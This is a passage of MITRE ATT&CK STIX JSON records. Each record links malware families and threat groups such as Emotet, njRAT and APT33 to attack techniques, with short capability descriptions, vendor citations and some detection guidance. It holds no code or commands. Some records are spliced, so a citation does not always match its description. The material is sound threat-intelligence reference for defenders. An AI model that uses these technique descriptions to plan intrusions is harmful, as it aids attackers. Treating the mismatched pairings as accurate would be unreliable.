"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9fc2e926-e5a9-4c56-8d7c-cdef9dd7f7ab", "type": "relationship", "created": "2021-09-29T15:41:18.413Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro New Andariel Tactics July 2018", "url": "https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html", "description": "Chen, Joseph. (2018, July 16). New Andariel Reconnaissance Tactics Uncovered. Retrieved September 29, 2021."}], "modified": "2021-09-29T15:41:18.413Z", "description": "[Andariel](https://attack.mitre.org/groups/G0138) has inserted a malicious script within compromised websites to collect potential victim information such as browser type, system language, Flash Player version, and other data.(Citation: TrendMicro New Andariel Tactics July 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9fc89cc1-ef57-461c-9324-0ebe43999c07", "type": "relationship", "created": "2020-06-29T22:47:34.564Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET LoudMiner June 2019", "url": "https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/", "description": "Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}], "modified": "2020-06-29T22:47:34.564Z", "description": "[LoudMiner](https://attack.mitre.org/software/S0451) has used QEMU and VirtualBox to run a Tiny Core Linux virtual machine, which runs XMRig and makes connections to the C2 server for updates.(Citation: ESET LoudMiner June 2019)", "relationship_type": "uses", "source_ref": "malware--f99f3dcc-683f-4936-8791-075ac5e58f10", "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9fce9cf9-2795-4384-abb5-cb049b3d4329", "type": "relationship", "created": "2021-03-12T18:46:47.215Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. 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Retrieved March 8, 2021."}], "modified": "2021-04-20T22:28:08.291Z", "description": "[Sibot](https://attack.mitre.org/software/S0589) will delete itself if a certain server response is received.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9fd03410-47ca-4ddc-9202-8f4a7558b263", "type": "relationship", "created": "2020-09-23T16:08:44.318Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:59.570Z", "description": "[PolyglotDuke](https://attack.mitre.org/software/S0518) can use Twitter, Reddit, Imgur and other websites to get a C2 URL.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--3d57dcc4-be99-4613-9482-d5218f5ec13e", "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9fd468a1-e0ef-4371-b7fd-93f81900f069", "type": "relationship", "created": "2020-11-25T22:46:47.291Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. 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(2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."}], "modified": "2022-03-21T22:57:40.635Z", "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can collect data from a compromised host.(Citation: Objective See Green Lambert for OSX Oct 2021)", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9fde631f-9e22-40fe-b6bb-071bd689c8f9", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/", "description": "Hromcov\u00e1, Z. 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Retrieved July 16, 2020."}], "modified": "2020-07-16T15:07:27.491Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can record sound using input audio devices.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9fde7504-bd24-46f5-88d7-4afcb8d37f4a", "created": "2023-03-24T21:23:08.681Z", "revoked": false, "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. 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(2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "source_name": "Trend Micro njRAT 2018"}], "modified": "2020-10-08T18:47:57.462Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) has used HTTP for C2 communications.(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a01a08e6-3e5a-4674-9d8b-67395fdf9b55", "created": "2019-05-02T01:07:36.979Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Shaheen Nov 2018", "description": "Livelli, K, et al. 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Retrieved June 29, 2021."}], "modified": "2021-07-02T15:00:02.347Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use proxy tools including boost_proxy_client for reverse proxy functionality.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a01e5280-ae4f-4edd-bb57-e29e8426cc3b", "created": "2022-05-05T17:45:37.112Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Gelsemium](https://attack.mitre.org/software/S0666) can use multiple domains and protocols in C2.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-05T17:45:37.112Z", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a01f1d05-a3e6-4ff4-8c8d-6482e582822b", "created": "2024-03-21T21:24:21.943Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-17T00:04:27.226Z", "description": "Monitor for newly executed processes that may circumvent TCC mechanisms designed to control access to elevated privileges. macOS system logs may also indicate when `AuthorizationExecuteWithPrivileges` is being called.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a024097d-78f0-4439-a239-571d361335f5", "type": "relationship", "created": "2020-06-12T16:15:04.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."}, {"source_name": "Antiy CERT Ramsay April 2020", "url": "https://www.programmersought.com/article/62493896999/", "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}], "modified": "2021-03-24T20:25:01.493Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use [UACMe](https://attack.mitre.org/software/S0116) for privilege escalation.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a025d011-6e46-4d3a-a9f7-31324027b7cf", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/", "description": "Lee, B., Falcone, R. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) has used Discord's content delivery network (CDN) to deliver malware and malicious scripts to a compromised host.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T15:43:10.603Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a02da835-676d-47df-86c6-547a7d29dbae", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Scarlet Mimic Jan 2016", "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information.(Citation: Scarlet Mimic Jan 2016)", "relationship_type": "uses", "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a0321bbd-edab-4ee6-be37-979015511e4a", "type": "relationship", "created": "2019-03-25T19:31:02.198Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Emotet Jan 2019", "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf", "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019."}], "modified": "2020-03-19T22:47:20.775Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed dropping password grabber modules including [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: Trend Micro Emotet Jan 2019)", "relationship_type": "uses", "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a036174e-7bd3-4604-ba4c-c26cceb5fe67", "created": "2021-11-29T19:46:09.913Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Trend Micro Iron Tiger April 2021)", "modified": "2022-04-11T14:21:09.142Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a03c46d1-763a-40e8-952b-36b27be11dda", "created": "2023-04-05T15:37:59.309Z", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T15:37:59.309Z", "description": "[metaMain](https://attack.mitre.org/software/S1059) has delayed execution for five to six minutes during its persistence establishment process.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "relationship_type": "uses", "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a03d084b-c216-4962-93e8-6c0dc8f0cb91", "type": "relationship", "created": "2019-01-30T16:39:54.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/", "source_name": "PaloAlto CardinalRat Apr 2017"}], "modified": "2019-06-10T18:25:51.723Z", "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can act as a reverse proxy.(Citation: PaloAlto CardinalRat Apr 2017)", "relationship_type": "uses", "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a03f53c2-4445-4ca5-ab2a-624afcbb9ea4", "type": "relationship", "created": "2020-06-16T18:44:16.269Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-06-16T18:44:16.269Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c", "target_ref": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a043c97b-dde1-4f0b-8a8c-78f62784b1e1", "created": "2023-03-17T14:43:54.363Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T23:58:32.507Z", "description": "Consider reviewing command history in either host machines or cloud audit logs to determine if unauthorized or suspicious commands were executed.\n\nCloud API activity logging is typically enabled by default and may be reviewed in sources like the Microsoft Unified Audit Log, AWS CloudTrail, and GCP Admin Acitivty logs. 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Retrieved May 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[MacMa](https://attack.mitre.org/software/S1016) has used TCP port 5633 for C2 Communication.(Citation: ESET DazzleSpy Jan 2022)", "modified": "2022-06-09T14:49:12.512Z", "relationship_type": "uses", "source_ref": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a06ada98-605a-47c5-9362-41e86c2ada6e", "type": "relationship", "created": "2019-04-10T16:09:07.893Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Elfin Mar 2019", "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", "description": "Security Response attack Investigation Team. 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Retrieved June 22, 2020."}], "modified": "2020-06-22T20:15:32.333Z", "description": "[APT33](https://attack.mitre.org/groups/G0064) has downloaded additional files and programs from its C2 server.(Citation: Symantec Elfin Mar 2019)(Citation: Microsoft Holmium June 2020)\t\n", "relationship_type": "uses", "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a", "type": "relationship", "created": "2017-05-31T21:33:27.055Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DustySky", "description": "ClearSky. (2016, January 7). Operation DustySky. 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Retrieved March 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Neoichor](https://attack.mitre.org/software/S0691) can upload files from a victim's machine.(Citation: Microsoft NICKEL December 2021)", "modified": "2022-04-19T16:44:20.575Z", "relationship_type": "uses", "source_ref": "malware--4d7bf2ac-f953-4907-b114-be44dc174d67", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0", "type": "relationship", "created": "2017-05-31T21:33:27.074Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks", "description": "DiMaggio, J. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", "source_name": "Symantec Suckfly May 2016"}], "modified": "2019-03-25T16:59:47.278Z", "description": "[Suckfly](https://attack.mitre.org/groups/G0039) used a signed credential-dumping tool to obtain victim account credentials.(Citation: Symantec Suckfly May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a0d99ee4-f154-42a0-8984-8e76d3e155c9", "type": "relationship", "created": "2021-12-06T16:30:49.171Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"}], "modified": "2021-12-06T20:45:13.814Z", "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has created accounts disguised as legitimate backup and service accounts as well as an email administration account.(Citation: US-CERT TA18-074A)", "relationship_type": "uses", "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--a0e02917-ad4d-4f84-bd50-9187a60db0fe", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. 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Retrieved June 8, 2023.", "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-06-23T20:24:02.395Z", "description": "[Uroburos](https://attack.mitre.org/software/S0022) has the ability to gather basic system information and run the POSIX API `gethostbyname`.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "relationship_type": "uses", "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a0e54774-50e2-4626-a826-5e692ef00a63", "created": "2023-08-11T21:06:07.628Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T15:07:14.953Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on network protocols such as SMB that revolve around network shares. Although there may be more native ways to detect detailed SMB events on the host, they can be extracted out of network traffic. With the right protocol decoders, port 445 traffic can be filtered and even the file path (relative to the share) can be retrieved.\n\nLooking at this activity more closely to obtain an adequate sense of situational awareness may make it possible to detect adversaries moving between hosts in a way that deviates from normal activity. Because SMB traffic is heavy in many environments, this analytic may be difficult to turn into something that can be used to quickly detect an APT. In some cases, it may make more sense to run this analytic in a forensic fashion. Looking through and filtering its output after an intrusion has been discovered may be helpful in identifying the scope of compromise.\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--a0edf2ca-8f76-42ad-9525-1c0ae3948131", "created": "2022-06-24T14:08:18.516Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Zscaler Lyceum DnsSystem June 2022", "url": "https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor", "description": "Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DnsSystem](https://attack.mitre.org/software/S1021) has lured victims into opening macro-enabled Word documents for execution.(Citation: Zscaler Lyceum DnsSystem June 2022)", "modified": "2022-06-24T14:08:18.516Z", "relationship_type": "uses", "source_ref": "malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--a0f0d977-ccb9-4634-9b0a-f6887be60b4c", "created": "2023-02-16T18:52:54.685Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T23:01:43.446Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) can use WMI queries to obtain system information.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", 